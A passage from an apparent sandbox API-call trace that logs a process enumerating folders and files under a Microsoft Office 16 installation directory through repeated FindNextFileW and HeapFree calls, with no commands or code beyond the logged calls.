hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1044", cAlternateFileName="")) returned 1 [0169.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.675] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2ebae3b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2ebae3b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1045", cAlternateFileName="")) returned 1 [0169.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.675] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1887f3e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1046", cAlternateFileName="")) returned 1 [0169.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.675] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a8a2df, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1048", cAlternateFileName="")) returned 1 [0169.675] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.675] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b87f8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1049", cAlternateFileName="")) returned 1 [0169.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.676] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcc62b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc62b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1050", cAlternateFileName="")) returned 1 [0169.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.676] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1051", cAlternateFileName="")) returned 1 [0169.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.676] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bd3439, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bd3439, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1053", cAlternateFileName="")) returned 1 [0169.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.676] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1054", cAlternateFileName="")) returned 1 [0169.676] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.677] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0089415, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1055", cAlternateFileName="")) returned 1 [0169.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.677] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1057", cAlternateFileName="")) returned 1 [0169.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.677] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1058", cAlternateFileName="")) returned 1 [0169.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.677] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1060", cAlternateFileName="")) returned 1 [0169.677] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.677] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2d943c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2d943c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2d943c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1061", cAlternateFileName="")) returned 1 [0169.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.678] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1992fb3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1062", cAlternateFileName="")) returned 1 [0169.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.678] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1063", cAlternateFileName="")) returned 1 [0169.678] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.678] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1066", cAlternateFileName="")) returned 1 [0169.679] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.679] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1069", cAlternateFileName="")) returned 1 [0169.680] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.680] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5afc9d3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1081", cAlternateFileName="")) returned 1 [0169.681] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.682] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2268a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7abb0bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7abb0bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1086", cAlternateFileName="")) returned 1 [0169.683] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.683] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1087", cAlternateFileName="")) returned 1 [0169.684] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.684] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1110", cAlternateFileName="")) returned 1 [0169.685] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.685] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1 [0169.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.686] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1 [0169.686] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.687] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1 [0169.690] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.690] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0169.691] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.691] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1 [0169.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0169.692] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0 [0169.692] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0169.692] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.692] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0169.696] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.696] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0169.700] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.700] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0169.703] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0169.703] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0170.098] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.098] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0170.100] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.100] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1 [0170.102] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.102] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0170.105] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.105] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0170.108] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.108] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0170.319] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.319] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0170.324] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0170.338] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1 [0170.338] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x463ef98 [0170.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk") returned 81 [0170.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 